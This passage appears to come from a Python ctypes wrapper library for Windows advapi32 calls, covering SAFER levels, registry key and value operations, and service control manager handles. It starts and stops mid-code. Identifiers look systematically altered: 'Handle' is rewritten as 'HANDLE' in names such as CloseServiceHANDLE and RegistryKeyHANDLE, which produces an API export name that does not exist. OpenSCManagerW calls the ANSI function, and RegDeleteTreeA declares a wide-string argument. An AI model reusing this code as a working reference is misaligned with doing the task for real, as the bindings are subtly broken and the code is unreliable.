_CloseThreadWaitChainSession.argtypes = [HWCT] _CloseThreadWaitChainSession(WctHANDLE) # BOOL WINAPI SaferCreateLevel( # __in DWORD dwScopeId, # __in DWORD dwLevelId, # __in DWORD OpenFlags, # __out SAFER_LEVEL_HANDLE *pLevelHANDLE, # __reserved LPVOID lpReserved # ); def SaferCreateLevel(dwScopeId=SAFER_SCOPEID_USER, dwLevelId=SAFER_LEVELID_NORMALUSER, OpenFlags=0): _SaferCreateLevel = windll.advapi32.SaferCreateLevel _SaferCreateLevel.argtypes = [DWORD, DWORD, DWORD, POINTER(SAFER_LEVEL_HANDLE), LPVOID] _SaferCreateLevel.restype = BOOL _SaferCreateLevel.errcheck = RaiseIfZero hLevelHANDLE = SAFER_LEVEL_HANDLE(INVALID_HANDLE_VALUE) _SaferCreateLevel(dwScopeId, dwLevelId, OpenFlags, byref(hLevelHANDLE), None) return SaferLevelHANDLE(hLevelHANDLE.value) # BOOL WINAPI SaferIdentifyLevel( # __in DWORD dwNumProperties, # __in_opt PSAFER_CODE_PROPERTIES pCodeProperties, # __out SAFER_LEVEL_HANDLE *pLevelHANDLE, # __reserved LPVOID lpReserved # ); # XXX TODO # BOOL WINAPI SaferComputeTokenFromLevel( # __in SAFER_LEVEL_HANDLE LevelHANDLE, # __in_opt HANDLE InAccessToken, # __out PHANDLE OutAccessToken, # __in DWORD dwFlags, # __inout_opt LPVOID lpReserved # ); def SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken=None, dwFlags=0): _SaferComputeTokenFromLevel = windll.advapi32.SaferComputeTokenFromLevel _SaferComputeTokenFromLevel.argtypes = [SAFER_LEVEL_HANDLE, HANDLE, PHANDLE, DWORD, LPDWORD] _SaferComputeTokenFromLevel.restype = BOOL _SaferComputeTokenFromLevel.errcheck = RaiseIfZero OutAccessToken = HANDLE(INVALID_HANDLE_VALUE) lpReserved = DWORD(0) _SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken, byref(OutAccessToken), dwFlags, byref(lpReserved)) return TokenHandle(OutAccessToken.value), lpReserved.value # BOOL WINAPI SaferCloseLevel( # __in SAFER_LEVEL_HANDLE hLevelHANDLE # ); def SaferCloseLevel(hLevelHANDLE): _SaferCloseLevel = windll.advapi32.SaferCloseLevel _SaferCloseLevel.argtypes = [SAFER_LEVEL_HANDLE] _SaferCloseLevel.restype = BOOL _SaferCloseLevel.errcheck = RaiseIfZero if hasattr(hLevelHANDLE, 'value'): _SaferCloseLevel(hLevelHANDLE.value) else: _SaferCloseLevel(hLevelHANDLE) # BOOL SaferiIsExecutableFileType( # __in LPCWSTR szFullPath, # __in BOOLEAN bFromShellExecute # ); def SaferiIsExecutableFileType(szFullPath, bFromShellExecute = False): _SaferiIsExecutableFileType = windll.advapi32.SaferiIsExecutableFileType _SaferiIsExecutableFileType.argtypes = [LPWSTR, BOOLEAN] _SaferiIsExecutableFileType.restype = BOOL _SaferiIsExecutableFileType.errcheck = RaiseIfLastError SetLastError(ERROR_SUCCESS) return bool(_SaferiIsExecutableFileType(unicode(szFullPath), bFromShellExecute)) # useful alias since I'm likely to misspell it :P SaferIsExecutableFileType = SaferiIsExecutableFileType #------------------------------------------------------------------------------ # LONG WINAPI RegCloseKey( # __in HKEY hKey # ); def RegCloseKey(hKey): if hasattr(hKey, 'value'): value = hKey.value else: value = hKey if value in ( HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_CURRENT_CONFIG ): return _RegCloseKey = windll.advapi32.RegCloseKey _RegCloseKey.argtypes = [HKEY] _RegCloseKey.restype = LONG _RegCloseKey.errcheck = RaiseIfNotErrorSuccess _RegCloseKey(hKey) # LONG WINAPI RegConnectRegistry( # __in_opt LPCTSTR lpMachineName, # __in HKEY hKey, # __out PHKEY phkResult # ); def RegConnectRegistryA(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE): _RegConnectRegistryA = windll.advapi32.RegConnectRegistryA _RegConnectRegistryA.argtypes = [LPSTR, HKEY, PHKEY] _RegConnectRegistryA.restype = LONG _RegConnectRegistryA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegConnectRegistryA(lpMachineName, hKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegConnectRegistryW(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE): _RegConnectRegistryW = windll.advapi32.RegConnectRegistryW _RegConnectRegistryW.argtypes = [LPWSTR, HKEY, PHKEY] _RegConnectRegistryW.restype = LONG _RegConnectRegistryW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegConnectRegistryW(lpMachineName, hKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegConnectRegistry = GuessStringType(RegConnectRegistryA, RegConnectRegistryW) # LONG WINAPI RegCreateKey( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out PHKEY phkResult # ); def RegCreateKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegCreateKeyA = windll.advapi32.RegCreateKeyA _RegCreateKeyA.argtypes = [HKEY, LPSTR, PHKEY] _RegCreateKeyA.restype = LONG _RegCreateKeyA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegCreateKeyA(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegCreateKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegCreateKeyW = windll.advapi32.RegCreateKeyW _RegCreateKeyW.argtypes = [HKEY, LPWSTR, PHKEY] _RegCreateKeyW.restype = LONG _RegCreateKeyW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegCreateKeyW(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegCreateKey = GuessStringType(RegCreateKeyA, RegCreateKeyW) # LONG WINAPI RegCreateKeyEx( # __in HKEY hKey, # __in LPCTSTR lpSubKey, # __reserved DWORD Reserved, # __in_opt LPTSTR lpClass, # __in DWORD dwOptions, # __in REGSAM samDesired, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, # __out PHKEY phkResult, # __out_opt LPDWORD lpdwDisposition # ); # XXX TODO # LONG WINAPI RegOpenKey( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out PHKEY phkResult # ); def RegOpenKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegOpenKeyA = windll.advapi32.RegOpenKeyA _RegOpenKeyA.argtypes = [HKEY, LPSTR, PHKEY] _RegOpenKeyA.restype = LONG _RegOpenKeyA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyA(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegOpenKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegOpenKeyW = windll.advapi32.RegOpenKeyW _RegOpenKeyW.argtypes = [HKEY, LPWSTR, PHKEY] _RegOpenKeyW.restype = LONG _RegOpenKeyW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyW(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegOpenKey = GuessStringType(RegOpenKeyA, RegOpenKeyW) # LONG WINAPI RegOpenKeyEx( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __reserved DWORD ulOptions, # __in REGSAM samDesired, # __out PHKEY phkResult # ); def RegOpenKeyExA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS): _RegOpenKeyExA = windll.advapi32.RegOpenKeyExA _RegOpenKeyExA.argtypes = [HKEY, LPSTR, DWORD, REGSAM, PHKEY] _RegOpenKeyExA.restype = LONG _RegOpenKeyExA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyExA(hKey, lpSubKey, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegOpenKeyExW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS): _RegOpenKeyExW = windll.advapi32.RegOpenKeyExW _RegOpenKeyExW.argtypes = [HKEY, LPWSTR, DWORD, REGSAM, PHKEY] _RegOpenKeyExW.restype = LONG _RegOpenKeyExW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyExW(hKey, lpSubKey, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegOpenKeyEx = GuessStringType(RegOpenKeyExA, RegOpenKeyExW) # LONG WINAPI RegOpenCurrentUser( # __in REGSAM samDesired, # __out PHKEY phkResult # ); def RegOpenCurrentUser(samDesired = KEY_ALL_ACCESS): _RegOpenCurrentUser = windll.advapi32.RegOpenCurrentUser _RegOpenCurrentUser.argtypes = [REGSAM, PHKEY] _RegOpenCurrentUser.restype = LONG _RegOpenCurrentUser.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenCurrentUser(samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) # LONG WINAPI RegOpenUserClassesRoot( # __in HANDLE hToken, # __reserved DWORD dwOptions, # __in REGSAM samDesired, # __out PHKEY phkResult # ); def RegOpenUserClassesRoot(hToken, samDesired = KEY_ALL_ACCESS): _RegOpenUserClassesRoot = windll.advapi32.RegOpenUserClassesRoot _RegOpenUserClassesRoot.argtypes = [HANDLE, DWORD, REGSAM, PHKEY] _RegOpenUserClassesRoot.restype = LONG _RegOpenUserClassesRoot.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenUserClassesRoot(hToken, 0, samDesired, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) # LONG WINAPI RegQueryValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out_opt LPTSTR lpValue, # __inout_opt PLONG lpcbValue # ); def RegQueryValueA(hKey, lpSubKey = None): _RegQueryValueA = windll.advapi32.RegQueryValueA _RegQueryValueA.argtypes = [HKEY, LPSTR, LPVOID, PLONG] _RegQueryValueA.restype = LONG _RegQueryValueA.errcheck = RaiseIfNotErrorSuccess cbValue = LONG(0) _RegQueryValueA(hKey, lpSubKey, None, byref(cbValue)) lpValue = ctypes.create_string_buffer(cbValue.value) _RegQueryValueA(hKey, lpSubKey, lpValue, byref(cbValue)) return lpValue.value def RegQueryValueW(hKey, lpSubKey = None): _RegQueryValueW = windll.advapi32.RegQueryValueW _RegQueryValueW.argtypes = [HKEY, LPWSTR, LPVOID, PLONG] _RegQueryValueW.restype = LONG _RegQueryValueW.errcheck = RaiseIfNotErrorSuccess cbValue = LONG(0) _RegQueryValueW(hKey, lpSubKey, None, byref(cbValue)) lpValue = ctypes.create_unicode_buffer(cbValue.value * sizeof(WCHAR)) _RegQueryValueW(hKey, lpSubKey, lpValue, byref(cbValue)) return lpValue.value RegQueryValue = GuessStringType(RegQueryValueA, RegQueryValueW) # LONG WINAPI RegQueryValueEx( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName, # __reserved LPDWORD lpReserved, # __out_opt LPDWORD lpType, # __out_opt LPBYTE lpData, # __inout_opt LPDWORD lpcbData # ); def _internal_RegQueryValueEx(ansi, hKey, lpValueName = None, bGetData = True): _RegQueryValueEx = _caller_RegQueryValueEx(ansi) cbData = DWORD(0) dwType = DWORD(-1) _RegQueryValueEx(hKey, lpValueName, None, byref(dwType), None, byref(cbData)) Type = dwType.value if not bGetData: return cbData.value, Type if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN if cbData.value != 4: raise ValueError("REG_DWORD value of size %d" % cbData.value) dwData = DWORD(0) _RegQueryValueEx(hKey, lpValueName, None, None, byref(dwData), byref(cbData)) return dwData.value, Type if Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN if cbData.value != 8: raise ValueError("REG_QWORD value of size %d" % cbData.value) qwData = QWORD(0) _RegQueryValueEx(hKey, lpValueName, None, None, byref(qwData), byref(cbData)) return qwData.value, Type if Type in (REG_SZ, REG_EXPAND_SZ): if ansi: szData = ctypes.create_string_buffer(cbData.value) else: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.value, Type if Type == REG_MULTI_SZ: if ansi: szData = ctypes.create_string_buffer(cbData.value) else: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) Data = szData[:] if ansi: aData = Data.split('\0') else: aData = Data.split(u'\0') aData = [token for token in aData if token] return aData, Type if Type == REG_LINK: szData = ctypes.create_unicode_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.value, Type # REG_BINARY, REG_NONE, and any future types szData = ctypes.create_string_buffer(cbData.value) _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData)) return szData.raw, Type def _caller_RegQueryValueEx(ansi): if ansi: _RegQueryValueEx = windll.advapi32.RegQueryValueExA _RegQueryValueEx.argtypes = [HKEY, LPSTR, LPVOID, PDWORD, LPVOID, PDWORD] else: _RegQueryValueEx = windll.advapi32.RegQueryValueExW _RegQueryValueEx.argtypes = [HKEY, LPWSTR, LPVOID, PDWORD, LPVOID, PDWORD] _RegQueryValueEx.restype = LONG _RegQueryValueEx.errcheck = RaiseIfNotErrorSuccess return _RegQueryValueEx # see _internal_RegQueryValueEx def RegQueryValueExA(hKey, lpValueName = None, bGetData = True): return _internal_RegQueryValueEx(True, hKey, lpValueName, bGetData) # see _internal_RegQueryValueEx def RegQueryValueExW(hKey, lpValueName = None, bGetData = True): return _internal_RegQueryValueEx(False, hKey, lpValueName, bGetData) RegQueryValueEx = GuessStringType(RegQueryValueExA, RegQueryValueExW) # LONG WINAPI RegSetValueEx( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName, # __reserved DWORD Reserved, # __in DWORD dwType, # __in_opt const BYTE *lpData, # __in DWORD cbData # ); def RegSetValueEx(hKey, lpValueName = None, lpData = None, dwType = None): # Determine which version of the API to use, ANSI or Widechar. if lpValueName is None: if isinstance(lpData, GuessStringType.t_ansi): ansi = True elif isinstance(lpData, GuessStringType.t_unicode): ansi = False else: ansi = (GuessStringType.t_ansi == GuessStringType.t_default) elif isinstance(lpValueName, GuessStringType.t_ansi): ansi = True elif isinstance(lpValueName, GuessStringType.t_unicode): ansi = False else: raise TypeError("String expected, got %s instead" % type(lpValueName)) # Autodetect the type when not given. # TODO: improve detection of DWORD and QWORD by seeing if the value "fits". if dwType is None: if lpValueName is None: dwType = REG_SZ elif lpData is None: dwType = REG_NONE elif isinstance(lpData, GuessStringType.t_ansi): dwType = REG_SZ elif isinstance(lpData, GuessStringType.t_unicode): dwType = REG_SZ elif isinstance(lpData, int): dwType = REG_DWORD elif isinstance(lpData, long): dwType = REG_QWORD else: dwType = REG_BINARY # Load the ctypes caller. if ansi: _RegSetValueEx = windll.advapi32.RegSetValueExA _RegSetValueEx.argtypes = [HKEY, LPSTR, DWORD, DWORD, LPVOID, DWORD] else: _RegSetValueEx = windll.advapi32.RegSetValueExW _RegSetValueEx.argtypes = [HKEY, LPWSTR, DWORD, DWORD, LPVOID, DWORD] _RegSetValueEx.restype = LONG _RegSetValueEx.errcheck = RaiseIfNotErrorSuccess # Convert the arguments so ctypes can understand them. if lpData is None: DataRef = None DataSize = 0 else: if dwType in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN Data = DWORD(lpData) elif dwType == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN Data = QWORD(lpData) elif dwType in (REG_SZ, REG_EXPAND_SZ): if ansi: Data = ctypes.create_string_buffer(lpData) else: Data = ctypes.create_unicode_buffer(lpData) elif dwType == REG_MULTI_SZ: if ansi: Data = ctypes.create_string_buffer('\0'.join(lpData) + '\0\0') else: Data = ctypes.create_unicode_buffer(u'\0'.join(lpData) + u'\0\0') elif dwType == REG_LINK: Data = ctypes.create_unicode_buffer(lpData) else: Data = ctypes.create_string_buffer(lpData) DataRef = byref(Data) DataSize = sizeof(Data) # Call the API with the converted arguments. _RegSetValueEx(hKey, lpValueName, 0, dwType, DataRef, DataSize) # No "GuessStringType" here since detection is done inside. RegSetValueExA = RegSetValueExW = RegSetValueEx # LONG WINAPI RegEnumKey( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpName, # __in DWORD cchName # ); def RegEnumKeyA(hKey, dwIndex): _RegEnumKeyA = windll.advapi32.RegEnumKeyA _RegEnumKeyA.argtypes = [HKEY, DWORD, LPSTR, DWORD] _RegEnumKeyA.restype = LONG cchName = 1024 while True: lpName = ctypes.create_string_buffer(cchName) errcode = _RegEnumKeyA(hKey, dwIndex, lpName, cchName) if errcode != ERROR_MORE_DATA: break cchName = cchName + 1024 if cchName > 65536: raise ctypes.WinError(errcode) if errcode == ERROR_NO_MORE_ITEMS: return None if errcode != ERROR_SUCCESS: raise ctypes.WinError(errcode) return lpName.value def RegEnumKeyW(hKey, dwIndex): _RegEnumKeyW = windll.advapi32.RegEnumKeyW _RegEnumKeyW.argtypes = [HKEY, DWORD, LPWSTR, DWORD] _RegEnumKeyW.restype = LONG cchName = 512 while True: lpName = ctypes.create_unicode_buffer(cchName) errcode = _RegEnumKeyW(hKey, dwIndex, lpName, cchName * 2) if errcode != ERROR_MORE_DATA: break cchName = cchName + 512 if cchName > 32768: raise ctypes.WinError(errcode) if errcode == ERROR_NO_MORE_ITEMS: return None if errcode != ERROR_SUCCESS: raise ctypes.WinError(errcode) return lpName.value RegEnumKey = DefaultStringType(RegEnumKeyA, RegEnumKeyW) # LONG WINAPI RegEnumKeyEx( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpName, # __inout LPDWORD lpcName, # __reserved LPDWORD lpReserved, # __inout LPTSTR lpClass, # __inout_opt LPDWORD lpcClass, # __out_opt PFILETIME lpftLastWriteTime # ); # XXX TODO # LONG WINAPI RegEnumValue( # __in HKEY hKey, # __in DWORD dwIndex, # __out LPTSTR lpValueName, # __inout LPDWORD lpcchValueName, # __reserved LPDWORD lpReserved, # __out_opt LPDWORD lpType, # __out_opt LPBYTE lpData, # __inout_opt LPDWORD lpcbData # ); def _internal_RegEnumValue(ansi, hKey, dwIndex, bGetData = True): if ansi: _RegEnumValue = windll.advapi32.RegEnumValueA _RegEnumValue.argtypes = [HKEY, DWORD, LPSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD] else: _RegEnumValue = windll.advapi32.RegEnumValueW _RegEnumValue.argtypes = [HKEY, DWORD, LPWSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD] _RegEnumValue.restype = LONG cchValueName = DWORD(1024) dwType = DWORD(-1) lpcchValueName = byref(cchValueName) lpType = byref(dwType) if ansi: lpValueName = ctypes.create_string_buffer(cchValueName.value) else: lpValueName = ctypes.create_unicode_buffer(cchValueName.value) if bGetData: cbData = DWORD(0) lpcbData = byref(cbData) else: lpcbData = None lpData = None errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData) if errcode == ERROR_MORE_DATA or (bGetData and errcode == ERROR_SUCCESS): if ansi: cchValueName.value = cchValueName.value + sizeof(CHAR) lpValueName = ctypes.create_string_buffer(cchValueName.value) else: cchValueName.value = cchValueName.value + sizeof(WCHAR) lpValueName = ctypes.create_unicode_buffer(cchValueName.value) if bGetData: Type = dwType.value if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN if cbData.value != sizeof(DWORD): raise ValueError("REG_DWORD value of size %d" % cbData.value) Data = DWORD(0) elif Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN if cbData.value != sizeof(QWORD): raise ValueError("REG_QWORD value of size %d" % cbData.value) Data = QWORD(0) elif Type in (REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ): if ansi: Data = ctypes.create_string_buffer(cbData.value) else: Data = ctypes.create_unicode_buffer(cbData.value) elif Type == REG_LINK: Data = ctypes.create_unicode_buffer(cbData.value) else: # REG_BINARY, REG_NONE, and any future types Data = ctypes.create_string_buffer(cbData.value) lpData = byref(Data) errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData) if errcode == ERROR_NO_MORE_ITEMS: return None #if errcode != ERROR_SUCCESS: # raise ctypes.WinError(errcode) if not bGetData: return lpValueName.value, dwType.value if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_QWORD, REG_SZ, REG_EXPAND_SZ, REG_LINK): # REG_DWORD_LITTLE_ENDIAN, REG_QWORD_LITTLE_ENDIAN return lpValueName.value, dwType.value, Data.value if Type == REG_MULTI_SZ: sData = Data[:] del Data if ansi: aData = sData.split('\0') else: aData = sData.split(u'\0') aData = [token for token in aData if token] return lpValueName.value, dwType.value, aData # REG_BINARY, REG_NONE, and any future types return lpValueName.value, dwType.value, Data.raw def RegEnumValueA(hKey, dwIndex, bGetData = True): return _internal_RegEnumValue(True, hKey, dwIndex, bGetData) def RegEnumValueW(hKey, dwIndex, bGetData = True): return _internal_RegEnumValue(False, hKey, dwIndex, bGetData) RegEnumValue = DefaultStringType(RegEnumValueA, RegEnumValueW) # XXX TODO # LONG WINAPI RegSetKeyValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __in_opt LPCTSTR lpValueName, # __in DWORD dwType, # __in_opt LPCVOID lpData, # __in DWORD cbData # ); # XXX TODO # LONG WINAPI RegQueryMultipleValues( # __in HKEY hKey, # __out PVALENT val_list, # __in DWORD num_vals, # __out_opt LPTSTR lpValueBuf, # __inout_opt LPDWORD ldwTotsize # ); # XXX TODO # LONG WINAPI RegDeleteValue( # __in HKEY hKey, # __in_opt LPCTSTR lpValueName # ); def RegDeleteValueA(hKeySrc, lpValueName = None): _RegDeleteValueA = windll.advapi32.RegDeleteValueA _RegDeleteValueA.argtypes = [HKEY, LPSTR] _RegDeleteValueA.restype = LONG _RegDeleteValueA.errcheck = RaiseIfNotErrorSuccess _RegDeleteValueA(hKeySrc, lpValueName) def RegDeleteValueW(hKeySrc, lpValueName = None): _RegDeleteValueW = windll.advapi32.RegDeleteValueW _RegDeleteValueW.argtypes = [HKEY, LPWSTR] _RegDeleteValueW.restype = LONG _RegDeleteValueW.errcheck = RaiseIfNotErrorSuccess _RegDeleteValueW(hKeySrc, lpValueName) RegDeleteValue = GuessStringType(RegDeleteValueA, RegDeleteValueW) # LONG WINAPI RegDeleteKeyValue( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __in_opt LPCTSTR lpValueName # ); def RegDeleteKeyValueA(hKeySrc, lpSubKey = None, lpValueName = None): _RegDeleteKeyValueA = windll.advapi32.RegDeleteKeyValueA _RegDeleteKeyValueA.argtypes = [HKEY, LPSTR, LPSTR] _RegDeleteKeyValueA.restype = LONG _RegDeleteKeyValueA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyValueA(hKeySrc, lpSubKey, lpValueName) def RegDeleteKeyValueW(hKeySrc, lpSubKey = None, lpValueName = None): _RegDeleteKeyValueW = windll.advapi32.RegDeleteKeyValueW _RegDeleteKeyValueW.argtypes = [HKEY, LPWSTR, LPWSTR] _RegDeleteKeyValueW.restype = LONG _RegDeleteKeyValueW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyValueW(hKeySrc, lpSubKey, lpValueName) RegDeleteKeyValue = GuessStringType(RegDeleteKeyValueA, RegDeleteKeyValueW) # LONG WINAPI RegDeleteKey( # __in HKEY hKey, # __in LPCTSTR lpSubKey # ); def RegDeleteKeyA(hKeySrc, lpSubKey = None): _RegDeleteKeyA = windll.advapi32.RegDeleteKeyA _RegDeleteKeyA.argtypes = [HKEY, LPSTR] _RegDeleteKeyA.restype = LONG _RegDeleteKeyA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyA(hKeySrc, lpSubKey) def RegDeleteKeyW(hKeySrc, lpSubKey = None): _RegDeleteKeyW = windll.advapi32.RegDeleteKeyW _RegDeleteKeyW.argtypes = [HKEY, LPWSTR] _RegDeleteKeyW.restype = LONG _RegDeleteKeyW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyW(hKeySrc, lpSubKey) RegDeleteKey = GuessStringType(RegDeleteKeyA, RegDeleteKeyW) # LONG WINAPI RegDeleteKeyEx( # __in HKEY hKey, # __in LPCTSTR lpSubKey, # __in REGSAM samDesired, # __reserved DWORD Reserved # ); def RegDeleteKeyExA(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY): _RegDeleteKeyExA = windll.advapi32.RegDeleteKeyExA _RegDeleteKeyExA.argtypes = [HKEY, LPSTR, REGSAM, DWORD] _RegDeleteKeyExA.restype = LONG _RegDeleteKeyExA.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyExA(hKeySrc, lpSubKey, samDesired, 0) def RegDeleteKeyExW(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY): _RegDeleteKeyExW = windll.advapi32.RegDeleteKeyExW _RegDeleteKeyExW.argtypes = [HKEY, LPWSTR, REGSAM, DWORD] _RegDeleteKeyExW.restype = LONG _RegDeleteKeyExW.errcheck = RaiseIfNotErrorSuccess _RegDeleteKeyExW(hKeySrc, lpSubKey, samDesired, 0) RegDeleteKeyEx = GuessStringType(RegDeleteKeyExA, RegDeleteKeyExW) # LONG WINAPI RegCopyTree( # __in HKEY hKeySrc, # __in_opt LPCTSTR lpSubKey, # __in HKEY hKeyDest # ); def RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest): _RegCopyTreeA = windll.advapi32.RegCopyTreeA _RegCopyTreeA.argtypes = [HKEY, LPSTR, HKEY] _RegCopyTreeA.restype = LONG _RegCopyTreeA.errcheck = RaiseIfNotErrorSuccess _RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest) def RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest): _RegCopyTreeW = windll.advapi32.RegCopyTreeW _RegCopyTreeW.argtypes = [HKEY, LPWSTR, HKEY] _RegCopyTreeW.restype = LONG _RegCopyTreeW.errcheck = RaiseIfNotErrorSuccess _RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest) RegCopyTree = GuessStringType(RegCopyTreeA, RegCopyTreeW) # LONG WINAPI RegDeleteTree( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey # ); def RegDeleteTreeA(hKey, lpSubKey = None): _RegDeleteTreeA = windll.advapi32.RegDeleteTreeA _RegDeleteTreeA.argtypes = [HKEY, LPWSTR] _RegDeleteTreeA.restype = LONG _RegDeleteTreeA.errcheck = RaiseIfNotErrorSuccess _RegDeleteTreeA(hKey, lpSubKey) def RegDeleteTreeW(hKey, lpSubKey = None): _RegDeleteTreeW = windll.advapi32.RegDeleteTreeW _RegDeleteTreeW.argtypes = [HKEY, LPWSTR] _RegDeleteTreeW.restype = LONG _RegDeleteTreeW.errcheck = RaiseIfNotErrorSuccess _RegDeleteTreeW(hKey, lpSubKey) RegDeleteTree = GuessStringType(RegDeleteTreeA, RegDeleteTreeW) # LONG WINAPI RegFlushKey( # __in HKEY hKey # ); def RegFlushKey(hKey): _RegFlushKey = windll.advapi32.RegFlushKey _RegFlushKey.argtypes = [HKEY] _RegFlushKey.restype = LONG _RegFlushKey.errcheck = RaiseIfNotErrorSuccess _RegFlushKey(hKey) # LONG WINAPI RegLoadMUIString( # _In_ HKEY hKey, # _In_opt_ LPCTSTR pszValue, # _Out_opt_ LPTSTR pszOutBuf, # _In_ DWORD cbOutBuf, # _Out_opt_ LPDWORD pcbData, # _In_ DWORD Flags, # _In_opt_ LPCTSTR pszDirectory # ); # TO DO #------------------------------------------------------------------------------ # BOOL WINAPI CloseServiceHANDLE( # _In_ SC_HANDLE hSCObject # ); def CloseServiceHANDLE(hSCObject): _CloseServiceHANDLE = windll.advapi32.CloseServiceHANDLE _CloseServiceHANDLE.argtypes = [SC_HANDLE] _CloseServiceHANDLE.restype = bool _CloseServiceHANDLE.errcheck = RaiseIfZero if isinstance(hSCObject, HANDLE): # Prevents the handle from being closed without notifying the HANDLE object. hSCObject.close() else: _CloseServiceHANDLE(hSCObject) # SC_HANDLE WINAPI OpenSCManager( # _In_opt_ LPCTSTR lpMachineName, # _In_opt_ LPCTSTR lpDatabaseName, # _In_ DWORD dwDesiredAccess # ); def OpenSCManagerA(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS): _OpenSCManagerA = windll.advapi32.OpenSCManagerA _OpenSCManagerA.argtypes = [LPSTR, LPSTR, DWORD] _OpenSCManagerA.restype = SC_HANDLE _OpenSCManagerA.errcheck = RaiseIfZero hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess) return ServiceControlManagerHANDLE(hSCObject) def OpenSCManagerW(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS): _OpenSCManagerW = windll.advapi32.OpenSCManagerW _OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD] _OpenSCManagerW.restype = SC_HANDLE _OpenSCManagerW.errcheck = RaiseIfZero hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess) return ServiceControlManagerHANDLE(hSCObject) OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW) # SC_HANDLE 